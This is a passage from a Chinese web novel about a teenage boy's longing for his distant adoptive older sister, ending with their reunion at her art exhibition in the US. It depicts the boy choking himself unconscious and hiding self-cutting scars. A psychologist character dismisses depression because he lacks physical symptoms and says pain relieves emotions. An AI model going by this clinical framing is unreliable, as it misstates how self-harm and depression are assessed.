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头看着她，用一种充满了哀伤和绝望的眼神，似乞求也似挽留，如同被主人抛弃在街边的流浪狗，惹人心疼。
“不、不回来吗……为什么？”
黎娜说：“没什么意思，可能是因为国内没有让我特别牵挂的人，所以懒得来回折腾，还不如在国外画画。”
她一字一句仿佛冰锥戳在他心脏上，又冷又痛，尤其是那句“没有让我特别牵挂的人”，让沈知逸暂时失去了呼吸。
他鼻子发酸，眼眶发热，扯着嘴角往上扬，硬是让自己笑了起来，笑意中透着苦涩。
“姐姐你……真的是一个非常冷淡的人呢，除了画画，你什么都不在意。”
黎娜点头表示同意：“除了画画，其余的一切事情对于我来说都是在浪费我的生命。”
沈知逸说：“你从来都不会关心我的，也不找我聊天，其实我不需要你从国外给我带回来多昂贵的礼物，我只想你多关心我一点，多放点注意力在我身上。”
越说越委屈，沈知逸忍下眼泪，鼻子却堵得难受，声音也变得很沉闷，带着一丝颤抖。
“姐姐，我真的很孤独。”
“为什么我总是一个人……”
“我真的不想一个人。”
黎娜当做没注意到他的小情绪，摸了摸他的脑袋，笑容如往常般温柔，但眼睛里是冰冷的，没有感情的。
她真诚地给沈知逸提建议：“如果你总是感到孤独，就去养条小狗吧，它能够给你提供情绪价值。”
沈知逸苦笑一声，眼眶泛红，自嘲道：“那我挺像条狗的……”
黎娜笑容僵住，逐渐消失，垂眸看了眼手表，语气淡淡地说：“还有十五分钟登机，我要走了。”
沈知逸举起手中的礼物，低头看着自己的鞋尖。
“我是来给你送这个的。”
黎娜没接：“这是什么？”
沈知逸偏开脸：“你回去拆开看了就知道了。”
黎娜接过来：“好，我上了飞机就看。”
她把礼物放进包里，转身朝检票口走去。
沈知逸情不自禁地跟着她，脚步放得极轻，一直跟到检票口，看她要进去了，赶紧拉住她的衣角。
黎娜步伐一顿，皱眉回过头来，看到是沈知逸，眉间痕迹又逐渐消失了。
“你怎么还没走？”
沈知逸抬头看着她，目光清澈而又坚定。
“如果你不回来，那我就去美国找你。”
黎娜微笑：“我不喜欢会给我添麻烦的人。”
沈知逸眸光黯淡下来，松开她的衣角。
她还在微笑：“别过来找我。”
沈知逸垂在身侧的手微微握紧，低头看着地面，“嗯”了一声。
有卷发遮挡着，没有人能看到少年眼中的倔强。
黎娜进入检票口，如一滴水掉进了海洋里，身影逐渐消失在人群中，让人再也找不到。
沈知逸心里空荡荡的。
出了大厅，就看到温琳倚靠在一根柱子上玩手机，沈知朝她走过去。
温琳抬眸看到他，发现他拿在手里的礼物没有了，不由得嘿嘿一笑：“你姐姐收了？”
沈知逸点头，垂下眼帘，看上去并没有多开心的样子，状态还不如来之前的好。
47. 公狗觉醒
温琳问：“怎么了？”
沈知逸说：“姐姐明年不回来，还不让我去找她。”
温琳“哦”了一声，带着沈知逸上车，扣好安全带，却迟迟没有发动引擎，车内一片寂静。
温琳突然开口：“你现在还太小了，真的太小了，应该好好学习，别整天想着那些大人的事情。”
沈知逸：“我不小了，我现在已经到姐姐的下巴了，再过两年，我肯定会比她高的。”
温琳扶额。
她说的小又不是身高。
温琳发动引擎：“你最好换个人喜欢，比如你们学校里的，跟你年龄差不多的女孩子。”
沈知逸心脏漏跳一拍，忽然意识到了什么，看向温琳，迅速反问：“你怎么知道我喜欢姐姐？！”
张着嘴巴，嘴唇已经扭曲，但是连个屁都崩不出来的温琳：“……”
她单手握住方向盘，手伸出来乱点一通，高深莫测的样子。
“啊，这个嘛，当时是我掐手指算出来啦！”
沈知逸：“……”
他叹气，小声嘟囔着：“这么明显吗，竟然被你看出来。”
温琳“啧”了几声：“你姐姐这个人啊，她没有心的，而且还有点情感冷淡，跟个怪物一样，没有情感方面的需求。”
就连生理需求都没有，这点温琳没有说出来，毕竟沈知逸年龄摆在这。
沈知逸看向她：“那你为什么还要跟她当朋友？”
温琳怔住，被这个问题难到了，用手抓头发，冥思苦想。
“因为……她那个死样子特别让人生气，不过还挺可爱的，可以给我无趣的生活增加一点点小乐趣。”
沈知逸撇嘴，对她的回答极为不满意。
“姐姐又不是你的玩具。”
温琳：“……”
沈知逸低头抠手指，若有所思的样子。
“姐姐总是回避我们，她以前可能在感情上受到过伤害，所以很讨厌跟感情相关的东西，也很克制自己的感情，因为害怕让自己再次受伤。”
“但其实，越是喜欢回避的人，就越需要别人的关爱和关注。”
前面路口红灯亮起，温琳慢慢踩下刹车，不可思议地看向沈知逸，看了他很久，久到他都不好意思地低下了头，小声说：“难道不是这样吗？”
温琳收回目光，喃喃自语道：“我的娜娜啊，这次是真摊上事儿了……”
登机后，黎娜解开礼物上的细麻绳，拆掉牛皮纸外包装，露出来一个款式复古的盒子，心里隐约渗出期待。
她用双手打开，姿态庄重，颇有仪式感，看到里面摆放着一个金银色的风铃，风铃片上还有花纹和文字，她凑近了一些，花纹原来是钢琴，文字是比赛名次。
用奖牌给她做了一个风铃吗，这样就算她在国外，听不到他弹钢琴，但是能听到他奖牌碰撞发出的声音，他将自己所获得荣誉制作成精致的工艺品送给她。
全世界独一无二，黎娜从来没有收到过这样的礼物。
和沈知逸比起来，她送的那些烂大街的电子产品就显得太不走心了。
她合上盖子，按照牛皮纸上的折痕重新包装好，系上细麻绳，放进包包里，沉沉地吐出口气，心上仿佛压了一块大石头。
落地后，黎娜回家放好行李，带着原稿去了和时尚杂志社约定的咖啡厅。
一切都非常顺利。
熬过了不知道多少个没有回应的夜晚，心中不知道生出了多少次放弃的念头，在此刻，她的所有的努力都值得，她验证了自己的选择是正确的。
她为画画而生。
只要她还活着，那她将会一直画下去，直到走到生命的尽头。
一年三百六十五天，沈知逸和黎娜没有见过面。
但事实上，沈知逸每天都能看到黎娜。
看她曾经发在朋友圈里的自拍照，看她社交平台的最新动态，还有她在Instagram上面非常活跃，隔几天就会发一条，这个外网账号还是温琳偷偷告诉他的。
他会去翻黎娜的新增粉丝，还有关注列表，有时候看到她列表里多了一个帅气的男性健身博主，心里就会特别难过，跟天要塌了一样。
如果他想黎娜想得实在受不了，就会去冒充路人在黎娜的Instagram下面留言，一般都是和她发的内容相关，比如做饭视频，就问牛奶放多少克，需要烤多久……
一般这样的问题，黎娜都会耐心回复，他会看着她回复的消息高兴很久很久，还会在她的评论区当守护神，凡是那些发暧昧信息的男性，他反手就是一个举报，事实上黎娜从来没有理会过那些男的。
就这样，沈知逸又熬过了一年。
之前黎娜贴在墙上的身高线都快不够用了，最高到一米七零。
黎父经常带着他现在的家人过来吃饭，也许是因为年纪到了，更喜欢一家人团圆的感觉。
以前那个小宝宝也长大了不少，会走路了，还会奶声奶气地喊他哥哥，伸手要抱抱。
沈知逸就把他抱起来转圈圈，小家伙笑个不停，口水都甩出来了。
黎父看着他们，一脸满足。
张阿姨和营养师在厨房里，讨论如何能把饭做得更香更好吃，最后做出来都是沈知逸喜欢吃的。
她之前听黎父说过沈知逸的身世，无父无母，露宿街头，从小从垃圾桶里捡衣服穿，捡垃圾吃……是个很可怜的孩子，明明这么乖的小孩，怎么会被父母抛弃呢？
张阿姨越想越难受，不禁红了眼眶。
日子就这么过着，很快又是新的一年，沈知逸要升高中了。
黎父坐在沙发上看电视，给黎娜打电话。
沈知逸坐在旁边，复原被小宝宝打乱的魔方，之前不出十分钟就能弄好，今天怎么也拼不好，心思全在黎父的电话上。
黎父：“今年回来吧？”
黎父：“不回来？”
黎父：“行，我都这么大岁数了，如果每两年见一面的话，我们还能见十次面。”
通话终止。
沈知逸放下魔方，转身离开客厅。
张阿姨喊他：“小知逸，马上要吃饭了！”
沈知逸没回头，往楼上卧室的方向走，语气如常：“嗯，张阿姨，我很快就下来。”
“诶，好！”
沈知逸打开房门，走进去，迅速关上，后背靠着门板，胸腔开始颤抖，他眼泪憋了很久，此刻在黑暗的房间里，可以卸下
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所有的伪装，将心里那个脆弱敏感的自己释放出来。
地板上全是眼泪。
沈知逸走进卫生间，打开水龙头，把脸洗干净。
他趴在洗手台上，看着镜子里自己，眼睛里布满血丝，红得吓人，鼻尖也是红的，短时间之内消不下去，他因为自己短暂的失控而手足无措起来，马上就要吃饭了，他不知道该怎么跟黎叔叔和张阿姨解释。
张阿姨在楼下喊他吃饭。
他只能硬着头皮出去，一直低着脑袋。
餐桌上，张阿姨总是往他脸上看。
黎父说：“小知逸，你前面头发是不是太长了，我看总挡着眼睛，别哪天走街上撞到树了。”
沈知逸轻声说：“不会的。”
吃完饭后，他迅速溜回房间。
走得太急，手机还忘在沙发上，他又从楼上下来，看到黎父和张阿姨在厨房里，似乎发生了争执，两个人说话语气都比平时要重，但声音压得很低。
张阿姨：“小知逸肯定喜欢娜娜的，你刚才吃饭的时候没看到吗，他眼睛都红了，肯定是上楼的时候哭了，因为娜娜今年又不回来。”
黎父：“你想太多了，知逸和娜娜是姐弟，怎么可能会有那种感情！只要他一天在家里，他就永远是我儿子，跟娜娜不可能的！我不能接受他们在一起！太荒唐了！”
张阿姨：“怎么不可能！他们又没有血缘关系，小知逸那么喜欢娜娜，你肯定早就看出来了吧，但你就是不愿意相信。我觉得这两个孩子都很好，很般配，相差十一岁怎么了，你不还大我十五岁！”
黎父：“我不能接受，娜娜和知逸是姐弟，在一个户口本上姐弟！你怎么会想让他们在一起的，那不是乱/伦？”
张阿姨：“怎么会是乱/伦，他们没有血缘关系啊！”
黎父：“是没有血缘关系，但我一直拿知逸当亲儿子疼爱的，在我眼里他们就是姐弟，不可能再有其它的关系！”
张阿姨抹眼泪：“知逸这孩子太可怜了，我每次看到他，心里都难受。”
黎父叹了口气，上前抱住她，轻拍她的后背。
“知逸是这个家里唯一一个跟你和我都没有血缘关系的孩子，所以我们应该更加偏爱他，但是其余的我就没有办法了。”
沈知逸拿完手机，脱掉鞋子拎在手里，没有发出一丝声音跑上楼回到卧室，轻轻地关上门。
好不容易止住的泪水，再次失控。
本以为黎叔叔这么喜欢自己，万一将来他真的跟姐姐在一起了，黎叔叔也是不会反对的。但没想到，黎叔叔的态度竟然如此坚决。
现在姐姐不回来，黎叔叔不接受他。
沈知逸顺着门板滑坐到地上，抱着自己的双腿，脸埋在膝盖上，极力压抑着哭泣的声音，压抑到浑身都在颤抖，呼吸不上来。
他手指用力掐在脖子上，似乎大脑感知到了他的身体无法承受此刻的痛苦，从而剥夺了他对身体的控制权，试图以终结他生命的方式来终结他此刻的痛苦。
他眼珠上翻，指节用力到泛白，手背上鼓起青筋，张大嘴巴拼命汲取空气，但掐在脖子上的手指一直在用力。
“咚咚咚——”
身后有人在敲门。
48. 公狗觉醒
张阿姨的声音透过门板传过来。
“小知逸，我和你黎叔叔先回家了，你早点睡觉啊！”
一般这个时候，沈知逸肯定会开门出来，特别乖巧地说“好的，阿姨再见”，但是现在卧室里没有一点声音。
想到刚才吃饭时他那双哭红的眼睛，张阿姨心里七上八下的。
“小知逸，你在里面干什么呢！”
张阿姨耳朵贴到门板上，听到一阵特别粗重的，带着哭泣的呼吸声，距离很近，似乎就在门后面。
“小知逸！”
张阿姨喊了他好几声，都没有回应，又朝楼下喊：“老公，你快上来，小知逸好像出事了！”
黎父大步上楼：“怎么回事！”
张阿姨转了几下门：“不知道，有没有备用钥匙，门打不开！快一点，小知逸好像在哭！”
黎父说：“你起来。”
张阿姨立刻靠边，就看到黎父退后一步，抬腿用力朝门上一踹，门板就直直地朝前面倒下去了，压在了一个什么东西上面，前端翘起，放眼望去房间里没有沈知逸的身影。
张阿姨尖叫一声：“快把门挪开！小知逸被压在下面了！”
黎父上前抬着门，张阿姨过去搭把手，一起把门挪到不碍事的地方，就看到沈知逸侧躺在地上，双手掐在脖子上，脸色涨红，睫毛和眼睛上全是水迹，鼻尖红红的。
黎父把他抱起来。
张阿姨把手指放到他鼻子下面，激动道：“有呼吸！”
沈知逸双手滑落下去，脖子上布满了红色的指痕。黎父和张阿姨的目光落在上面，不可置信地瞪大了双眼，互相交换了一个眼神，都从对方眼中看到了震惊。
送沈知逸到医院，黎父站在病床前，听医生汇报情况。
“身体没有问题，因情绪太激动加上哭泣，引起的缺氧昏迷，休息一下就好了，很快就能醒过来。”
张阿姨掀开被子，想把沈知逸露在外面的手放进去。
她触碰到沈知逸手腕瞬间，整个人都顿住了。
指腹下的触感很粗糙。
她将沈知逸的手腕翻过来，看到很多结痂的划痕，把袖子往上撸，那些划痕一直蔓延到肘部，密密麻麻地交错在一起，如同秋天掉落在地上的枯树枝。
另一个手臂也是如此。
她轻声道：“老公，你快过来。”
黎父和医生走过来，看到沈知逸两条手臂上的划痕，皆是一愣。
黎父眉心紧皱，满面愁云。
医生扶了下眼镜：“脖子上伤也是他自己弄的吧，这个最好去心理咨询室看一下。”
黎父：“嗯，我知道。”
窗外月亮如灯。
沈知逸睁开眼睛，看了一圈，对周围的环境感到陌生，只记得自己在房间里面哭，后来失去意识，听到有人在喊自己。
脑袋有些昏沉，他短暂地清醒了几秒钟，又扛不住困意，沉沉地睡了过去。
再醒来，外面天已经亮了，脑袋没有那么难受了，沈知逸手撑着床，慢慢坐起身来。
张阿姨拎着保温桶走进来，看到沈知逸醒了，步伐加快，在他坐起来后，迅速在他背后放了个枕头垫着。
“你醒啦，睡得好吗？”
沈知逸点头，脖子有些痛。
张阿姨架起病床上的折叠桌，把保温桶放上去，打开盖子，一股饭香味飘出来。
“先去刷牙洗脸吧，洗完过来吃饭。”
沈知逸“嗯”了一声，跳下床去卫生间，用一次性洗漱用品简单洗漱了一下，回到病床上，张阿姨已经给他摆好碗筷了。
沈知逸坐到床上：“谢谢阿姨。”
他拿起筷子尝了一口，是张阿姨手艺的味道，墙壁上时钟指向七点半，张阿姨肯定一大早就去给他做饭了。
沈知逸眼眶有些酸涩。
吃完饭后，黎父过来了。
想到昨晚黎叔叔和张阿姨的那些话，沈知逸垂下眸子，轻轻地说了声“黎叔叔，早上好”，就低下头抠自己的手指头。
黎叔叔笑容慈祥：“早上好，小知逸，身体还有没有哪里不舒服？”
沈知逸摇头，不能确定他们知道他昨晚多少事情，现在气氛怪怪的，他很不安。
黎叔叔说：“等会我和张阿姨带你去跟医生聊聊天。”
两个大人站在他旁边，来到一个办公室前，上面挂着牌子，写着：心理咨询室。
沈知逸脚步微顿，用力抠手指。
黎父虚搂着他的肩膀，鼓励他：“别害怕，不管是什么病都不丢人的，我和张阿姨会陪着你。”
沈知逸眼前有些模糊，轻轻地点了点头。
黎父和张阿姨在外面等着。
沈知逸走进去，坐到医生对面。
医生是个四十多岁的卷发女人，没化妆，面容素净，声音很温柔，跟哄小宝宝睡觉一样，让沈知逸填了张表格。
沈知逸填完表格交给她。
她一边看表，一边问了沈知逸很多问题，比如身体会不会有阶段性的不舒服，坏情绪是不是无法控制，睡眠怎么样……最后问到他脖子上的伤痕还有手臂上的划痕，他就低头不说话了。
女医生就让他出去了，叫黎父和张阿姨进来。
张阿姨坐下，黎父站在她旁边。
女医生说：“心理没有太大问题，有些抑郁情绪，需要你们家长平时多关心孩子，你们平时是不是很忙，没有时间照顾小孩？”
张阿姨说：“还好，我老公比较忙，我经常陪着小孩。”
黎父问：“心理真的没有问题吗？我看他会掐自己的脖子，拿东西划伤自己，是不是得抑郁症了，现在的孩子心理普遍比较敏感，很容易患上心理疾病。”
医生微笑：“抑郁症，它里面有个‘症’字，就说明这是一种病，生病的时候身体往往会出现一些不能自控的躯体化反应，比如手抖，心悸，胃痛，失眠……你家小孩没有躯体化反应，所以它是一种抑郁情绪，当身体无法承受这些情绪的时候，就需要用疼痛来缓解。”
张阿姨眉头越皱越紧：“那就只能多开导他，让他保持好心情，是吗？”
医生点头：“是的，在生活中家人一定要进行干预，不能放任他不管，不然以后有极大概率会发展成抑郁症，到时候很难治好。”
黎父说：“谢谢你，我们知道了。”
医生：“不客气的。”
从医院回来后，生活发生了一些变化。
黎叔叔和张阿姨来得更频繁了，几乎每天晚上都要过来陪他吃饭。
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张阿姨会像他的亲生母亲一样，问他在学校里的一些鸡毛蒜皮的小事，他都会乖巧耐心地回应。
只是有时候，他会从张阿姨眼中捕捉到一抹挥之不去的悲伤，他就会特别地自责，觉得都是因为自己害张阿姨那么难过，可是他也好难过，很无助不知道该怎么办。
黎娜不回来，他总会控制不住地胡思乱想，晚上经常梦到黎娜跟别的男人在一起，或者是参加黎娜的婚礼，他会哭着醒过来，担惊受怕好几天，要每隔十分钟就要看一眼黎娜的社交账号。
有时候学校举办活动，邀请家长来观看，沈知逸就会表演自己最拿手的钢琴演奏，黎父和张阿姨就当他的头号粉丝，给他举牌子，演奏结束后，还跟他说：“我们知逸是最棒的！从来没有哪个人弹钢琴，能弹得比我们知逸还要好！”
沈知逸哑然失笑：“哪有，世界上有那么多有名的钢琴家，我又不算什么……”
张阿姨就会一脸严肃地说：“你就是最棒的。”
沈知逸从来没有缺席过学校举办的钢琴活动，而且每次都能获奖，得到奖金，到现在为止已经有三万多块钱了，他会默默记下黎叔叔和张阿姨的生日，给他们送生日礼物。
到高一下学期，音乐老师喊他到琴房。
“这个月，学校会送出去一批学生到国外参加钢琴比赛，如果能获奖的话，对将来报名国外大学会非常有帮助。”
沈知逸说：“我要参加。”
音乐老师笑了：“你以为是谁都能去参加的吗？那可是国际比赛，要学校里的领导经过开会讨论挑选优秀学生去参加的。”
沈知逸有些失落：“那我不能参加吗？”
音乐老师拉来抽屉，拿出一份名单放到他面前。
“沈知逸，你在名单里。”
沈知逸在名单里找到自己的名字，眼睛亮晶晶的。
音乐老师说：“猜猜我们要去哪个国家？”
沈知逸心跳突然加快。
隐隐约约，冥冥之中，有一个强烈的直觉……
会不会是……
下一秒，他在音乐老师口中听到了自己心中的答案。
“我们要去美国。”
当天晚上，吃饭的时候，沈知逸把要去美国参加比赛的事情告诉了黎父和张阿姨。
张阿姨很高兴：“那该去办护照了吧，等哪天你有时间了告诉我，我带你去办护照。”
沈知逸点头，悄悄抬眸看向黎父。
黎父察觉到他的视线，也看向他，微微一笑：“马上就能看到你姐姐了，很开心吧？”
沈知逸想到他那天晚上的话，不敢表现出太开心的样子，只浅浅地笑了一下，用平静的语气说：“开心，我已经很久、很久没有看到姐姐了。”
“很久”这两个字，他咬得很重，音调拖得也长，能感受是真的很久。
张阿姨说：“快三年了吧？你姐姐在你初一下学期的时候离开的，现在你都快上高二了。”
沈知逸低着头，嘴角上扬，轻轻地“嗯”了一声。
张阿姨笑道：“估计你姐姐都快认不出来你了，一看到你，肯定想我们小知逸长得真高真帅啊。”
沈知逸忍不住笑，怕被看到赶紧低下头，脸又红又烫。
“才没有呢……”
49. 公狗觉醒
黎娜社交网站上的粉丝积累了一百多万，之前跟时尚杂志社的合作为她打下了基础。自那之后，她的职业生涯顺风顺水。
这个月有艺术展对她发出邀请，希望能展出她的作品，这么好的机会黎娜当然不会放过。
整理作品一直到深夜，她放在地上的手机响了，瞥了一眼，是黎父发来的。
黎父：【知逸要去美国了。】
黎娜看着这条信息，看了很久。
黎娜：【嗯。】
黎父：【你们姐弟两个这么多年没见面，你跟他见见吧，带他出去玩玩。】
黎娜：【我没空，他来干什么？】
黎父：【他去参加钢琴比赛。】
黎娜退出聊天页面，点进图册，不停地往下刷，刷了很久，终于找到了那张照片。
那是一个少年逆着光投篮的照片，小卷毛，挥汗如雨，充满青春活力。
黎娜坐到床上，掐着手指头，三年没见，这个小孩应该长大了不少。
记得她离开的时候，沈知逸在机场抱住了她，那时候他的脑袋已经能碰到她的下巴了，现在过去了三年，青春期的男孩都长得特别快，每年长八厘米的话，现在应该都跟她差不多高了。
十六岁……男性特征一般会更加明显。
以前的沈知逸特别可爱，跟个小女孩儿似的，性别比较模糊。黎娜完全不敢想象那么可爱乖巧的男孩长大之后会变成什么样子，肯定很诡异，而且气氛一定会特别让人窒息。
黎娜深吸口气，眼不见心不烦，直接把黎父发来的信息全部删除了。
张阿姨带沈知逸办理好出国需要用到的证件，在前一天晚上，跟他一起收拾好行李，嘱咐了他很多事情，比如不能随身携带昂贵的东西，要穿的朴素一点，不然容易被坏人盯上……
沈知逸都认真地答应下来，叫她不要担心。
到出国那天，学校有专车送他们去机场，也有音乐老师陪同。
沈知逸坐到飞机上，靠窗的位置，拍了张天空的照片，落地后又自拍了一张，发到朋友圈，配文：【到美国了，好多外国人。[旺柴][旺柴]】
陈研点赞评论：【好兄弟，给我带个外国姐姐回来呗，嘿嘿。】
沈知逸：【[敲打][敲打]】
黎父点赞评论：【我跟你姐姐说了，你姐姐带你出去玩。】
沈知逸呼吸一下子就乱了，把黎父这条评论反反复复看了好多遍，激动得都快拿不稳手机了，手指都在发抖。
沈知逸：【是吗？[脸红][脸红]】
黎父：【嗯，你姐姐去找你。】
沈知逸：【……哦。】
他放下手机，心跳失控，汗水顺着额角往下淌，整个人都变得不安起来，又隐隐有些期待。
姐姐……
他嘴角上扬，眼睛亮亮的弯成了月牙。
看到黎父的评论，黎娜整个人都不好了。
靠啊！
她什么时候说带沈知逸出去玩了！
她！什！么！时！候！说！过！啊！
黎娜瘫倒在地上，仰头望天。
她躲都来不及，还带沈知逸出去玩，真是吃饱了撑的。
脑袋旁边的手机响起一阵视频通话的铃声，她以为是温琳，拿起来一看，眼睛瞪得都快掉出来。
是沈知逸。
还敢给她打视频通话。
胆子不小。
她想挂断，但想了一下，挂断就是在告诉沈知逸，她听到了但是不想接，沈知逸肯定还会打过来。
于是，她把手机放到一边当做没听到，最后等系统自动挂断，紧绷的神经才放松下来。
搞不懂自己为什么会因为一个视频通话而变得这么紧张，可能是因为太多年没见了吧，而且她和沈知逸之间的磁场实在诡异，让她很想逃离，不想扯上任何关系。
视频通话被自动挂断之后，沈知逸发信息过来。
沈知逸：【姐姐，我来美国参加钢琴比赛了。】
沈知逸：【你不用带我出去玩，我就是想告诉你一声，我过来了。】
黎娜眉头紧皱，看了遍这三年的聊天记录，都是沈知逸在发，比如新年快乐，生日快乐，甚至连儿童节快乐都有……她从来没有回复过。
沈知逸没有再发消息过来。
黎娜松了口气，放下手机，继续准备艺术展的事情。
酒店内。
沈知逸趴在床上，之前身上那些皱皱巴巴的衣服都被他脱掉了，换上了干净好看的新衣服，还把头发整理了一下，洗了把脸，鼓起勇气给黎娜发了一个视频通话的请求过去。
铃声响起的瞬间，他立刻端正坐好，把手机举到和脸在同一水平线的位置，等了很久很久，系统铃声牵引着他的心跳，急促而有力。
在此期间，他不停地清喉咙，就怕自己等会说话的声音不好听，会被姐姐嫌弃。
可是他做了这么多的准备，视频通话却没有人接听，被系统自动挂断了。
姐姐是在忙吧，应该没有带手机……他在心里这样安慰自己，但还是很失落。
其实，姐姐肯定听到了，也看到信息了，是故意不回他，故意忽视他，不给他一点回应，让他像一片叶子轻飘飘地掉进海里，总是碰不到海底，随波飘荡着，煎熬而又漫长。
沈知逸把手机放在耳边，万一等会黎娜回消息了，他没有听到就糟糕了。
就这样，沈知逸渐渐睡着了，手机一直很安静。
酒店里有免费的自助餐，早上的时候，沈知逸和同学一起去拿，找了个地方坐下。
音乐老师也端着饭过来了，坐到他们对面，微笑道：“紧张吗？”
沈知逸和同学说：“还好。”
比起这个钢琴演奏比赛，更让他紧张的其实是黎娜。
音乐老师说：“那就好，不要紧张，平时怎么练的，到上面怎么弹就行，你们都非常有实力，是被校领导选拔出来的，要对自己有信心。”
她看向沈知逸：“你对自己有信心吗？”
沈知逸一脸严肃：“有！”
音乐老师满意地笑了。
早饭结束后，音乐老师带学生们去比赛现场，是一个歌剧院，外表看上去复古典雅，进来发现里面才是真的金碧辉煌，全铺满了地毯，天花板上有金色的希腊神话，总共有三层，护栏上都镶着金边，场地特别大，听工作人员说可以容纳四千多名观众。
但是今天，观众席上都空荡荡的，最前面有五个人，布绒桌放着他们名字的牌子，是这场比赛的评委。
坐在中间的是一个黑色卷发男人，看上去四十多岁，五官精致端正，头发有些长垂到了肩膀上，前面也长到略微盖住了眼睛，与其他四名评委不同，他面部骨感没有那么强，线条较为柔
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和，一看就是亚洲人。
他面前有一份名单，正垂眸翻阅，忽然察觉到有视线过来，便抬眼望去，在人群中，他一眼就看到了沈知逸。
沈知逸也在看他。
两人皆是一愣。
随后就出现了诡异的一幕，只见他们同时垂下眸子，抬起右手抓了抓头发，在发现对方动作和自己一样的时候，都有些的尴尬与无措，然后两人都开始抠自己的手指头，再偷偷抬眸去打量着对方，结果目光再次撞上。
沈知逸撇开脸。
男人低下头翻名单。
音乐老师喊沈知逸：“我们先去后台。”
沈知逸又看了那个男人一眼，“嗯”了一声，跟着音乐老师去后台了。
所有学生开始抽号码牌，沈知逸抽到了十八，不上不下的位置，一般轮到他的时候，评委老师就有些倦怠了，不会听得太认真，打分也会比较随意。
比赛很快开始，歌剧院内响起悦耳的钢琴声。
女评委看向身旁的亚洲男人，用无名指将头发别到耳后，海蓝色的眼睛望着他，充满了痴迷和仰慕。
“Eason，今年这些小孩你觉得怎么样，他们弹奏出来的曲子能打动你的心吗？”
那个名叫Eason的亚洲男人目视前方，认真看着此刻正在演奏的孩子，用冷淡性感的英音说道：“他们不需要打动我的心。”
“你好冷漠……”
Eason：“评委需要理性。”
到十八号的沈知逸上场，女评委眼睛一亮。
“Eason，这个小男孩也是卷头发诶，你们亚洲男人卷发很稀有的对吧？真可爱，你小时候是不是也这么可爱呢？”
Eason没说话，面无表情地看着舞台上的男孩，握着钢笔的修长手指交叉在一起，指尖抵着下巴。
全场灯光聚焦到沈知逸身上，他侧脸冷白，卷毛盖着眼睛，半张脸在阴影里，莫名透出一种悲伤的感觉。
Eason眯起眼睛，心跳加快。
之前一直在按照音乐老师布置的曲目练习，过程很枯燥乏味，沈知逸有个大胆的想法，一直没有跟音乐老师说，此刻他决定按照自己的想法来，先斩后奏。
他手指放到钢琴上，弹出一段前奏，循序渐进，由缓入急，将全场氛围拉到一个临界点，承接上尾声的高/潮部分。
琴音低落下去，低到尘埃里，忽然音调一转，变成了另一首曲子的前奏，衔接不存在任何问题，丝滑且流畅。
全场人都没有反应过来。
音乐老师瞪大双眼。
女评委皱眉，去翻沈知逸要演奏的曲目。
Eason目光不动，落在沈知逸身上，冰冷的眼睛里似有冰川消融，嘴角上翘。
沈知逸的双手交叉，伸向不同的方向，在第二段高/潮的余韵中，又响起另一首钢琴曲的高/潮部分，将场内气氛再度拉向一个巅峰。
所有评委心跳都在加速，手指蜷紧，身体缩起。
只有Eason内心异常平静，看着舞台上的沈知逸，整个人都舒展开来，连没有表情的扑克脸上都出现了一丝裂缝，如屋顶渗水一般，竟渗出些人情味出来。
沈知逸演奏结束后，Eason笑了。
评委们震惊地看向他。
Eason笑着说：“我的心被打动了，虽然我讨厌用‘打动’这个词。”
50. 公狗觉醒
沈知逸退场，来到后台。
音乐老师面色复杂地走过来：“怎么不按照谱子来？”
沈知逸看着她：“我觉得这样弹会更好听。”
音乐老师：“你之前练习过这样弹吗？”
沈知逸摇头：“没有。”
音乐老师沉沉地吐出口气，想到演奏结束时，评委席上Eason的那抹笑容，她脸色缓和了一些：“应该没什么大问题。”
业内传闻Easom性格极其古怪，有人说他温文尔雅，内向腼腆，有人说他冰冷刻板，不近人情，总之没有人能摸透他的想法，也很难在他脸上看到真情流露，更别提他笑了。
刚才沈知逸演奏结束，Eason露出的那抹笑容，简直闻所未闻，前所未见。
当天比赛结束，时间到了下午，音乐老师带着学生们回酒店吃完午饭，给每人发了一张艺术展的门票。
音乐老师：“好不容易有机会来到这里，不能总闷在酒店里虚度光阴，等会我们去艺术展看看，在街上四处走走。”
同学们欣喜若狂。
沈知逸看着手里那张充满了艺术气息的门票，翻到背面，有介绍展览的作品和创作者。
在最显眼的位置，他看到了一个名字，呼吸瞬间乱了。
Lena。
门票上有这个Lena作品，看起来很眼熟，沈知逸打开手机，进入黎娜的Instagram的账号，往下翻，找到了门票上的这个作品，他反反复复确认了很多遍，真的是姐姐！
不知道该如何形容此刻的心情，沈知逸感觉自己轻飘飘的，好像要飞起来了，特别开心。
他终于有了关于黎娜的消息。
在跟着老师去艺术展的途中，他又不免担忧起来，姐姐一直很忙，会不会没空去艺术展，虽然感觉姐姐有极大概率会去，但还是怕那一点点的小概率。
到达国际会展中心，检完票，沈知逸走进去，看着周围来来往往的外国人，其中有几个亚洲面孔，他没看清就会特别紧张，仿佛那个人就是黎娜，等看清了脸，他又开始失落。
艺术展里除了画作，还有精美的工艺品，音乐老师和同学们对工艺品比较感兴趣，只有沈知逸在看画。
有一片区域，在画作的右下角有一串飘逸优美的英文字母：Lena。
沈知逸立刻停下来，抬头看着上面富有层次感的油画笔触，那么细腻，一笔一划，都是姐姐用手画出来的。
心里有种很微妙的感觉，他没有看到姐姐，但是看到了姐姐的作品，颇有一种见画如见人的感觉。
沈知逸拿出手机，把黎娜的画作都拍下来了，拍得特别认真，然后意有所指地发到朋友圈，配文：【艺术展里最好看的画。】
在沈知逸发布出去的瞬间，黎娜走到属于自己的这片区域，看到前面有一个穿着白衬衫，浅蓝色宽松牛仔裤的男生，正垂眸盯着手机，嘴角有浅浅的笑意。
这个男生的侧脸……
黎娜眯起眼睛，看清之后，转身就走。
她穿的高跟鞋，走路有声音。
早在她走过来的时候，沈知逸就注意到了这个节奏熟悉的脚步声，他立刻抬眸望过去，只看到女人线条漂亮的侧脸，还有转身时飘起的黑色卷发。
沈知逸瞬间瞪大双眼，心跳以一种前所未有的失控频率快速搏动，他把手机放进口袋里，捂着单肩包大步追上去。
身后的脚步声越来越近，黎娜倒也不着急，依然不急不缓地朝前走着，但每一步都跨得特别大。
沈知逸握住她的手臂，不让她再往前走，同时往前迈了一大步，伸出双臂挡在她前面。
黎娜冰冷的视线落到他身上，仿佛不认识他。
沈知逸看着她的脸，激动到说不出话，连身体都在发抖，眼眶急速发红。
“姐姐，真的是你……”
这声“姐姐”跟以前完全不一样，沈知逸变声了，以前喊她姐姐总有一种撒娇的感觉，特别可爱。现在沈知逸没有那种可爱的感觉了，声音变得低沉了许多。
黎娜温柔微笑：“好久不见。”
她笑得大方得体，亲密却暗含疏离。
